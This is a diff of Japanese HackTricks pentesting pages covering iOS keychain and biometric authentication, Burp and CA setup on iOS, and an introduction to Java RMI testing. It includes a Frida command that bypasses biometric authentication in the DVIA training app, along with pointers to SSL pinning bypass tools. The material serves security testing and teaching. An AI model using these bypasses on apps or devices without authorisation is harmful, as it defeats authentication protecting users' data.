@ -853,7 +842,7 @@ if (status == noErr) {
|
|||
// error while saving
|
||||
}
|
||||
```
|
||||
以下は、キーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、適切な指紋が提供されたかどうかに応じて、ユーザーに認証ダイアログを表示し、データまたはnilを返します。
|
||||
以下は、キーチェーンから保存されたアイテムをリクエストする方法です。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。
|
||||
```swift
|
||||
// 1. define query
|
||||
var query = [String: Any]()
|
||||
|
@ -880,7 +869,7 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。{% endtab %}
|
||||
iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。アプリケーションの脆弱性を特定し、セキュリティを向上させるために、Objective-Cのコードを分析することが重要です。{% endtab %}
|
||||
```objectivec
|
||||
// 1. define query
|
||||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||||
|
@ -903,7 +892,7 @@ NSLog(@"Something went wrong");
|
|||
```
|
||||
### 検知
|
||||
|
||||
アプリ内でのフレームワークの使用は、アプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。これは`otool`を使用して行うことができます:
|
||||
アプリ内でのフレームワークの使用は、`otool`を使用してアプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
|
@ -912,11 +901,13 @@ $ otool -L <AppName>.app/<AppName>
|
|||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
### ローカル認証フレームワークバイパス
|
||||
`Security.framework`が使用されている場合、2番目のみ表示されます。
|
||||
|
||||
### ローカル認証フレームワークのバイパス
|
||||
|
||||
#### **Objection**
|
||||
|
||||
**Objectionバイオメトリクスバイパス**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)に位置する、**LocalAuthentication**メカニズムを克服するためのテクニックが利用可能です。このアプローチの中心には、**Frida**を活用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることが含まれています。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
|
||||
**Objectionバイオメトリクスバイパス**によって、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある、**LocalAuthentication**メカニズムを克服するためのテクニックが利用可能です。このアプローチの中心には、`evaluatePolicy`関数を操作するために**Frida**を活用し、実際の認証成功に関係なく常に`True`の結果を返すようにします。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
|
||||
|
||||
このバイパスをアクティブ化するには、次のコマンドが使用されます:
|
||||
```bash
|
||||
|
@ -983,7 +974,7 @@ return result;
|
|||
console.log("Objective-C Runtime is not available!");
|
||||
}
|
||||
```
|
||||
Fridaスクリプトをインジェクトして生体認証をバイパスするためには、次のコマンドを使用します:
|
||||
以下のコマンドを使用して、Fridaスクリプトをインジェクトし、生体認証をバイパスします:
|
||||
```bash
|
||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||
```
|
||||
|
@ -1033,7 +1024,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
## ネットワーク通信
|
||||
|
||||
**暗号化なしでの通信**が行われていないことを確認し、アプリケーションがサーバーのTLS証明書を正しく**検証**していることも重要です。\
|
||||
**暗号化なしで通信が行われていないこと**と、アプリケーションがサーバーのTLS証明書を正しく**検証していること**を確認することが重要です。\
|
||||
この種の問題をチェックするためには、**Burp**のようなプロキシを使用できます:
|
||||
|
||||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||||
|
@ -1042,12 +1033,12 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
|||
|
||||
### ホスト名の確認
|
||||
|
||||
TLS証明書を検証する一般的な問題は、証明書が**信頼されるCA**によって署名されていることを確認することですが、証明書の**ホスト名**がアクセスされているホスト名と一致しているかどうかを**確認しない**ことです。\
|
||||
この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、Burpで異なるホスト名用の新しい証明書を作成して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
|
||||
TLS証明書を検証する一般的な問題は、証明書が**信頼されるCAによって署名された**ことを確認することですが、証明書の**ホスト名**がアクセスされているホスト名と一致しているかどうかを**確認しない**ことです。\
|
||||
Burpを使用してこの問題をチェックするには、iPhoneでBurp CAを信頼した後、Burpで**異なるホスト名のために新しい証明書を作成**して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
|
||||
|
||||
### 証明書ピニング
|
||||
|
||||
アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際には、**これは問題になる可能性があります。なぜなら、Burpは独自の証明書を提供するからです。**\
|
||||
アプリケーションが正しくSSL Pinningを使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際には、**Burpが独自の証明書を提供するため、これが問題になる可能性があります。**\
|
||||
この保護をバイパスするために、ジェイルブレイクされたデバイス内でアプリケーション[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
|
||||
|
||||
また、**objection**の`ios sslpinning disable`を使用することもできます。
|
||||
|
@ -1055,19 +1046,19 @@ TLS証明書を検証する一般的な問題は、証明書が**信頼される
|
|||
## その他
|
||||
|
||||
* **`/System/Library`**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。
|
||||
* ユーザーがApp Storeからインストールしたアプリケーションは**`/User/Applications`**内にあります。
|
||||
* ユーザーがApp Storeからインストールしたアプリケーションは**`/User/Applications`**にあります。
|
||||
* **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
|
||||
* **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
|
||||
* インストールされたアプリケーションのフォルダー内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
|
||||
* インストールされたアプリケーションのフォルダー内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
|
||||
* **`iTunesArtwork`**: アプリで使用されるアイコン
|
||||
* **`iTunesMetadata.plist`**: App Storeで使用されるアプリの情報
|
||||
* **`/Library/*`**: 偏好設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
|
||||
* **`/Library/*`**: 設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
|
||||
|
||||
### ホットパッチング/強制更新
|
||||
|
||||
開発者は、アプリケーションを再提出して承認されるまで待つ必要なく、すべてのインストールされたアプリケーションをリモートで**即座にパッチ**することができます。\
|
||||
この目的のためには通常、[**JSPatch**](https://github.com/bang590/JSPatch)**などが使用されます。** ただし、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
|
||||
**これは悪意のある第三者SDKによって悪用される可能性がある危険なメカニズムであるため、自動更新にどの方法が使用されているかを確認し、テストすることが推奨されます。** この目的のために以前のバージョンのアプリをダウンロードしてみることができます。
|
||||
**これは悪意のある第三者SDKによって悪用される可能性がある危険なメカニズムであるため、自動更新にどの方法が使用されているか(あれば)を確認し、テストすることが推奨されます。** この目的のために以前のバージョンのアプリをダウンロードしてみることができます。
|
||||
|
||||
### サードパーティ
|
||||
|
||||
|
@ -1105,14 +1096,14 @@ otool -L <application_path>
|
|||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||||
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-Cバージョン [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swiftバージョン
|
||||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -1123,10 +1114,10 @@ otool -L <application_path>
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -22,23 +22,23 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## iOSデバイスにBurp証明書をインストールする
|
||||
## iOSデバイスでのBurp設定
|
||||
|
||||
iOSデバイスでの安全なWebトラフィック分析とSSLピニングのために、Burp Suiteは**Burp Mobile Assistant**を介してまたは手動で構成することができます。以下は両方の方法の要約ガイドです:
|
||||
|
||||
### Burp Mobile Assistantを使用した自動インストール
|
||||
|
||||
**Burp Mobile Assistant**は、Burp証明書のインストールプロセス、プロキシ構成、およびSSLピニングを簡素化します。詳細なガイダンスは[PortSwiggerの公式ドキュメント](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)で見つけることができます。
|
||||
**Burp Mobile Assistant**は、Burp証明書、プロキシ構成、およびSSLピニングのインストールプロセスを簡略化します。詳細なガイダンスは[PortSwiggerの公式ドキュメント](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)で見つけることができます。
|
||||
|
||||
### 手動インストール手順
|
||||
|
||||
1. **プロキシ構成:** iPhoneのWi-Fi設定でBurpをプロキシとして設定して開始します。
|
||||
1. **プロキシ構成:** iPhoneのWi-Fi設定でBurpをプロキシとして設定します。
|
||||
2. **証明書のダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。
|
||||
3. **証明書のインストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**でインストールし、**証明書信頼設定**の下でPortSwigger CAに信頼を設定します。
|
||||
|
||||
### インターセプトプロキシの構成
|
||||
|
||||
このセットアップにより、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能となります。クライアント間トラフィックをサポートするWi-Fiネットワークが利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイスの構成](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書のインストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な手順が提供されています。
|
||||
この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能となります。クライアント間トラフィックをサポートするWi-Fiネットワークが利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルには、[デバイスの構成](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書のインストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な手順が記載されています。
|
||||
|
||||
### ジェイルブレイクされたデバイスのための高度な構成
|
||||
|
||||
|
@ -49,12 +49,12 @@ iOSデバイスでの安全なWebトラフィック分析とSSLピニングの
|
|||
```bash
|
||||
iproxy 2222 22
|
||||
```
|
||||
2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのlocalhostに転送して、Burpのインターフェースに直接アクセスできるようにします。
|
||||
2. **リモートポート転送:** iOSデバイスのポート8080をコンピュータのlocalhostに転送して、Burpのインターフェースに直接アクセスできるようにします。
|
||||
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシに設定して、すべてのWebトラフィックをBurp経由で誘導します。
|
||||
3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシに設定して、すべてのWebトラフィックをBurp経由でリダイレクトします。
|
||||
|
||||
### フルネットワークモニタリング/スニッフィング
|
||||
|
||||
|
@ -62,8 +62,8 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
|
|||
|
||||
手順にはいくつかの重要なステップが含まれます:
|
||||
|
||||
1. iOSデバイスとmacOSホストとの間でUSB経由で接続を開始します。
|
||||
2. トラフィック監視のためにiOSデバイスの**UDID**を確認します。これは、macOSターミナルでコマンドを実行することで行うことができます。
|
||||
1. iOSデバイスとmacOSホストとの間でUSB経由で接続を確立します。
|
||||
2. トラフィック監視のためにiOSデバイスの**UDID**を特定します。これは、macOSターミナルでコマンドを実行することで行うことができます。
|
||||
```bash
|
||||
$ rvictl -s <UDID>
|
||||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
|
@ -71,7 +71,7 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
|
|||
3. UDIDの識別後、**Wireshark**を開き、「rvi0」インターフェースをデータキャプチャ用に選択します。
|
||||
4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングのために、Wiresharkのキャプチャフィルタを使用できます:
|
||||
|
||||
## シミュレータでのBurp証明書のインストール
|
||||
## シミュレータへのBurp証明書のインストール
|
||||
|
||||
* **Burp証明書のエクスポート**
|
||||
|
||||
|
@ -79,9 +79,9 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
|
||||
![](<../../.gitbook/assets/image (459).png>)
|
||||
|
||||
* 証明書をエミュレータ内に**ドラッグアンドドロップ**
|
||||
* 証明書をエミュレータに**ドラッグアンドドロップ**
|
||||
* エミュレータ内で _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、証明書を**確認**
|
||||
* エミュレータ内で _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、**PortSwigger CA**を有効にします
|
||||
* エミュレータ内で _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、PortSwigger CAを**有効化**
|
||||
|
||||
![](<../../.gitbook/assets/image (460).png>)
|
||||
|
||||
|
@ -103,7 +103,7 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
|
||||
* _**Ok**_ をクリックし、_**Apply**_ をクリックします
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -113,14 +113,14 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝**したい場合や、**PDF形式でHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# 1098/1099/1050 - Java RMIのペンテスト - RMI-IIOP
|
||||
# 1098/1099/1050 - Java RMI ペンテスト - RMI-IIOP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに **PRを提出** して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
_Java Remote Method Invocation_、または_Java RMI_は、オブジェクト指向の_RPC_メカニズムであり、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシンにあるオブジェクトのメソッドを呼び出すことを可能にします。これにより、開発者はオブジェクト指向パラダイムを使用して分散アプリケーションを記述できます。攻撃的な観点からの_Java RMI_の簡単な紹介は、[このブラックハットのトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見つけることができます。
|
||||
_Java Remote Method Invocation_、または _Java RMI_ は、オブジェクト指向の _RPC_ メカニズムであり、1つの _Java仮想マシン_ にあるオブジェクトが、別の _Java仮想マシン_ にあるオブジェクトのメソッドを呼び出すことを可能にします。これにより、開発者はオブジェクト指向パラダイムを使用して分散アプリケーションを記述できます。攻撃的な観点からの _Java RMI_ の簡単な紹介は、[このブラックハットのトーク](https://youtu.be/t\_aw1mDNhzI?t=202) で見つけることができます。
|
||||
|
||||
**デフォルトポート:** 1090、1098、1099、1199、4443-4446、8999-9010、9999
|
||||
**デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
1090/tcp open ssl/java-rmi Java RMI
|
||||
|
@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
|
|||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
通常、一般的なポートにはデフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみがバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は、通常、ランダムなポートにバインドされます(上記の出力に示されているように)。
|
||||
通常、一般的なポートにはデフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみがバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は、通常、上記の出力に示されているようにランダムなポートにバインドされます。
|
||||
|
||||
_nmap_は、時々_SSL_で保護された_RMI_サービスを識別するのに苦労することがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。
|
||||
_nmap_は時々、_SSL_で保護された_RMI_サービスを識別するのに問題があることがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。
|
||||
|
||||
## RMIコンポーネント
|
||||
|
||||
簡単に言うと、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用可能にすることを可能にします。これにより、クライアントが接続して対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは単純なように聞こえますが、_Java RMI_が解決する必要があるいくつかの課題があります:
|
||||
簡単に言うと、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用可能にすることを可能にします。これにより、クライアントが接続して対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは単純に聞こえますが、_Java RMI_が解決する必要があるいくつかの課題があります:
|
||||
|
||||
1. _Java RMI_を介してメソッド呼び出しをディスパッチするには、クライアントがIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および対象オブジェクトの`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_は複数のオブジェクトが同じ_TCP_ポートでリッスンすることを許可しているため、これが必要です)を知っている必要があります。
|
||||
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てる場合があります。_Java仮想マシン_は、これらのリソースのうちどれがまだ使用中であり、どれがガベージコレクションされる可能性があるかを追跡する必要があります。
|
||||
1. _Java RMI_を介してメソッド呼び出しをディスパッチするには、クライアントが対象のオブジェクトのIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_は同じ_TCP_ポートで複数のオブジェクトがリスンできるようにするために必要です)を知っている必要があります。
|
||||
2. リモートクライアントは公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てることができます。_Java仮想マシン_は、これらのリソースのうちどれがまだ使用中であり、どれがガベージコレクションされる可能性があるかを追跡する必要があります。
|
||||
|
||||
最初の課題は_RMIレジストリ_によって解決されます。これは基本的に_Java RMI_のための名前付けサービスです。_RMIレジストリ_自体も_RMIサービス_ですが、実装されたインターフェースと`ObjID`は固定されており、すべての_RMI_クライアントによって知られています。これにより、_RMI_クライアントは対応する_TCP_ポートを知っているだけで_RMIレジストリ_を利用できます。
|
||||
|
||||
